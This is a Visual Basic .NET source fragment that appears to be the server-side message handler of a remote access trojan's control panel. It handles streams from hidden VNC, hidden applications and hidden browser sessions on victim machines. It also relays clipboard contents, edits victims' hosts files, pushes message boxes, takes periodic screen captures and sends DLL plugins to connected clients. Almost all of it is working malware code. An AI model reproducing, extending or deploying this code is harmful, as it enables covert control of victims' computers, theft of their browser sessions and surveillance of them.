If RD IsNot Nothing Then
|
|
Dim MM = Image.FromStream(New IO.MemoryStream(Decompress(Convert.FromBase64String(A(2)))))
|
|
RD.PictureBox1.Image = MM
|
|
RD.FPS += 1
|
|
If RD.sw.ElapsedMilliseconds >= 1000 Then
|
|
RD.Text = "Hidden VNC : " & A(1) & " FPS:" & RD.FPS.ToString & " " & "Size:" & BytesToString(b.LongLength)
|
|
RD.FPS = 0
|
|
RD.sw = Stopwatch.StartNew()
|
|
End If
|
|
If RD.Guna2GradientButton1.Text = "Capturing..." Then
|
|
Dim Pack As Byte() = SB("Cap" & SettingsHelper.SPL & RD.Guna2ComboBox1.Text.Replace("%", "").ToString & SettingsHelper.SPL & Conversions.ToString(Convert.ToDouble(RD.Guna2ComboBox3.Text.Replace("%", "").ToString) / 100.0))
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), Pack)
|
|
End If
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
Case "HvncMSG"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As HVNC = My.Application.OpenForms("Hidden VNC : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
RD.ToolStripStatusLabel1.Text = A(2)
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
Case "ClibHVNC"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Windows.Forms.Clipboard.SetText(A(1))
|
|
End If
|
|
Exit Sub
|
|
|
|
Case "FormHApps"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As HApps = My.Application.OpenForms("Hidden Apps : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
C.isDisconnected()
|
|
Return
|
|
End If
|
|
If RD Is Nothing Then
|
|
RD = New HApps
|
|
RD.C = C
|
|
RD.Name = "Hidden Apps : " & A(1)
|
|
RD.Text = "Hidden Apps : " & A(1)
|
|
RD.Show()
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
Case "HApps+"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As HApps = My.Application.OpenForms("Hidden Apps : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
Dim Stream As String = A(2)
|
|
If Stream.Length > 0 Then
|
|
Dim MM = New IO.MemoryStream(Decompress(Convert.FromBase64String(Stream)))
|
|
Dim bitmap As Bitmap = Image.FromStream(MM)
|
|
RD.PictureBox1.Image = bitmap
|
|
RD.rdSize = bitmap.Size
|
|
RD.FPS += 1
|
|
If RD.sw.ElapsedMilliseconds >= 1000 Then
|
|
RD.Text = "Hidden Apps : " & A(1) & " FPS:" & RD.FPS.ToString & " " & "Size:" & BytesToString(b.LongLength)
|
|
RD.FPS = 0
|
|
RD.sw = Stopwatch.StartNew()
|
|
End If
|
|
End If
|
|
If RD.Guna2GradientButton1.Text = "Capturing..." Then
|
|
Dim Pack As Byte() = SB("HApps+" & SettingsHelper.SPL & RD.Guna2ComboBox1.Text.Replace("%", "").ToString)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), Pack)
|
|
End If
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
Case "WindowsList"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As HApps = My.Application.OpenForms("Hidden Apps : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
RD.ListView1.Items.Clear()
|
|
RD.ImageList1.Images.Clear()
|
|
Dim array As String() = A(2).Split(New String(0) {"-==>"}, StringSplitOptions.None)
|
|
Dim num As Integer
|
|
For num = 0 To array.Length - 1
|
|
If array(num).Length > 0 Then
|
|
Dim itm As New ListViewItem
|
|
itm.Text = New FileInfo(array(num)).Name
|
|
itm.SubItems.Add(array(num + 3))
|
|
Dim im As Image = Image.FromStream(New MemoryStream(Convert.FromBase64String(array(num + 2))))
|
|
RD.ImageList1.Images.Add(array(num + 1), im)
|
|
itm.ImageKey = array(num + 1)
|
|
itm.ToolTipText = array(num)
|
|
RD.ListView1.Items.Add(itm)
|
|
End If
|
|
num += 3
|
|
Next
|
|
RD.ToolStripStatusLabel1.Text = "Apps [" & RD.ListView1.Items.Count.ToString & "]"
|
|
RD.ListView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize)
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
Case "HAppsMSG"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As HApps = My.Application.OpenForms("Hidden Apps : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
RD.ToolStripStatusLabel2.Text = A(2)
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
|
|
Case "FormHBrowser"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As HBrowser = My.Application.OpenForms("Hidden Browser : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
C.isDisconnected()
|
|
Return
|
|
End If
|
|
If RD Is Nothing Then
|
|
RD = New HBrowser
|
|
RD.C = C
|
|
RD.Name = "Hidden Browser : " & A(1)
|
|
RD.Text = "Hidden Browser : " & A(1)
|
|
RD.Show()
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
Case "HBrowser+"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As HBrowser = My.Application.OpenForms("Hidden Browser : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
Dim Stream As String = A(2)
|
|
If Stream.Length > 0 Then
|
|
Dim MM = New IO.MemoryStream(Decompress(Convert.FromBase64String(Stream)))
|
|
Dim bitmap As Bitmap = Image.FromStream(MM)
|
|
RD.PictureBox1.Image = bitmap
|
|
RD.rdSize = bitmap.Size
|
|
RD.FPS += 1
|
|
If RD.sw.ElapsedMilliseconds >= 1000 Then
|
|
RD.Text = "Hidden Browser : " & A(1) & " FPS:" & RD.FPS.ToString & " " & "Size:" & BytesToString(b.LongLength)
|
|
RD.FPS = 0
|
|
RD.sw = Stopwatch.StartNew()
|
|
End If
|
|
End If
|
|
If RD.Guna2GradientButton1.Text = "Capturing..." Then
|
|
Dim Pack As Byte() = SB("HBrowser+" & SettingsHelper.SPL & RD.Guna2ComboBox1.Text.Replace("%", "").ToString)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), Pack)
|
|
End If
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
Case "WindowsActive"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As HBrowser = My.Application.OpenForms("Hidden Browser : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
RD.ListView1.Items.Clear()
|
|
RD.ImageList1.Images.Clear()
|
|
Dim array As String() = A(2).Split(New String(0) {"-==>"}, StringSplitOptions.None)
|
|
Dim num As Integer
|
|
For num = 0 To array.Length - 1
|
|
If array(num).Length > 0 Then
|
|
Dim itm As New ListViewItem
|
|
itm.Text = New FileInfo(array(num)).Name
|
|
itm.SubItems.Add(array(num + 3))
|
|
Dim im As Image = Image.FromStream(New MemoryStream(Convert.FromBase64String(array(num + 2))))
|
|
RD.ImageList1.Images.Add(array(num + 1), im)
|
|
itm.ImageKey = array(num + 1)
|
|
itm.ToolTipText = array(num)
|
|
RD.ListView1.Items.Add(itm)
|
|
End If
|
|
num += 3
|
|
Next
|
|
RD.ToolStripStatusLabel1.Text = "Browsers [" & RD.ListView1.Items.Count.ToString & "]"
|
|
RD.ListView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize)
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
Case "HBrowserMSG"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As HBrowser = My.Application.OpenForms("Hidden Browser : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
RD.ToolStripStatusLabel2.Text = A(2)
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
|
|
Case "Hosts"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As Hosts = My.Application.OpenForms("Edit Hosts : " & A(1))
|
|
If RD Is Nothing Then
|
|
RD = New Hosts
|
|
RD.C = C
|
|
RD.Name = "Edit Hosts : " & A(1)
|
|
RD.Text = "Edit Hosts : " & A(1)
|
|
RD.Show()
|
|
End If
|
|
Try
|
|
Dim RD1 As Hosts = My.Application.OpenForms("Edit Hosts : " & A(1))
|
|
RD1.Guna2TextBox1.Text = A(3)
|
|
RD1.Guna2TextBox2.Text = A(2)
|
|
Catch
|
|
End Try
|
|
End If
|
|
Exit Sub
|
|
Case "HostsMSG"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As Hosts = My.Application.OpenForms("Edit Hosts : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
RD.ToolStripStatusLabel1.ForeColor = Color.Green
|
|
RD.ToolStripStatusLabel1.Text = A(2)
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
Case "HostsErr"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As Hosts = My.Application.OpenForms("Edit Hosts : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
RD.ToolStripStatusLabel1.ForeColor = Color.Red
|
|
RD.ToolStripStatusLabel1.Text = A(2)
|
|
RD.ToolStripMenuItem1.Enabled = True
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
|
|
Case "MBox"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As MBox = My.Application.OpenForms("MessageBox : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
C.isDisconnected()
|
|
Return
|
|
End If
|
|
If RD Is Nothing Then
|
|
RD = New MBox
|
|
RD.C = C
|
|
RD.Name = "MessageBox : " & A(1)
|
|
RD.Text = "MessageBox : " & A(1)
|
|
RD.Show()
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
Case "MBoxMSG"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As MBox = My.Application.OpenForms("MessageBox : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
RD.ToolStripStatusLabel1.ForeColor = Color.Green
|
|
RD.ToolStripStatusLabel1.Text = A(2)
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
Case "MBoxErr"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As MBox = My.Application.OpenForms("MessageBox : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
RD.ToolStripStatusLabel1.ForeColor = Color.Red
|
|
RD.ToolStripStatusLabel1.Text = A(2)
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
|
|
Case "PING!"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
SyncLock SettingsHelper.Online
|
|
Try
|
|
Dim Pong As Byte() = SB("pong")
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), Pong)
|
|
If C.LV IsNot Nothing Then
|
|
C.LV.SubItems(F._ActiveWindow.Index).Text = A(1).ToString
|
|
C.LV.SubItems(F._idle.Index).Text = uptimeToDHMS(Convert.ToInt32(A(2).ToString))
|
|
Else
|
|
Debug.WriteLine("Temp socket pinged server")
|
|
End If
|
|
Catch ex As Exception
|
|
Debug.WriteLine("PING!: " & ex.Message)
|
|
End Try
|
|
End SyncLock
|
|
End If
|
|
Exit Sub
|
|
Case "pong"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
SyncLock SettingsHelper.Online
|
|
Try
|
|
If C.LV IsNot Nothing Then
|
|
Dim interval As Integer = CInt(A(1))
|
|
C.LV.SubItems(F._Ping.Index).Text = interval & " MS"
|
|
If interval > 400 Then
|
|
C.LV.SubItems(F._Ping.Index).ForeColor = Color.Red
|
|
ElseIf interval > 200 Then
|
|
C.LV.SubItems(F._Ping.Index).ForeColor = Color.Orange
|
|
Else
|
|
C.LV.SubItems(F._Ping.Index).ForeColor = Color.Green
|
|
End If
|
|
End If
|
|
Catch ex As Exception
|
|
Debug.WriteLine("pong: " & ex.Message)
|
|
End Try
|
|
End SyncLock
|
|
End If
|
|
Exit Sub
|
|
Case "sendPlugin"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
LVLog("Sending the plugin to client " & C.IP.Split(":")(0) & " for the first time please wait..", Color.RoyalBlue)
|
|
For Each plugin As String In Directory.GetFiles("Plugins", "*.dll", SearchOption.TopDirectoryOnly)
|
|
If A(1) = GetChecksum(plugin) Then
|
|
Dim BL As Byte() = SB("savePlugin" & SettingsHelper.SPL & A(1) & SettingsHelper.SPL & Convert.ToBase64String(Compress(File.ReadAllBytes(plugin))))
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), BL)
|
|
LVLog("Plugin " & Path.GetFileName(plugin) & " sent to " & C.IP.Split(":")(0), Color.RoyalBlue)
|
|
Exit For
|
|
End If
|
|
Next
|
|
End If
|
|
Exit Sub
|
|
Case "Error"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
LVLog(C.IP.Split(":")(0) & " " & A(1), Color.Red)
|
|
SettingsHelper.MSGS += 1
|
|
End If
|
|
Exit Sub
|
|
Case "Msg"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
LVLog(C.IP.Split(":")(0) & " " & A(1), Color.Purple)
|
|
SettingsHelper.MSGS += 1
|
|
End If
|
|
Exit Sub
|
|
Case "#CAP"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
If SettingsHelper.Screens Then
|
|
Dim MM = New IO.MemoryStream(Decompress(Convert.FromBase64String(A(2))))
|
|
Bitmap.FromStream(MM)
|
|
For Each x As ListViewItem In F.Lv4.Items
|
|
If x.SubItems(0).Text = A(1) Then
|
|
Dim imgKey As String = A(1)
|
|
Dim previousImage As Image = F.ImageList1.Images(F.ImageList1.Images.Keys.IndexOf(A(1)))
|
|
F.ImageList1.Images.RemoveByKey(imgKey)
|
|
F.ImageList1.Images.Add(imgKey, Bitmap.FromStream(MM))
|
|
previousImage.Dispose()
|
|
MM.Dispose()
|
|
Exit Select
|
|
End If
|
|
Next
|
|
F.ImageList1.Images.Add(A(1), Bitmap.FromStream(MM))
|
|
F.Lv4.Items.Add(A(1), A(1))
|
|
MM.Dispose()
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
End Select
|
|
Exit Sub
|
|
Catch ex As Exception
|
|
LVLog(ex.Message, Color.Red)
|
|
SettingsHelper.MSGS += 1
|
|
End Try
|
|
End Sub
|
|
End Class
|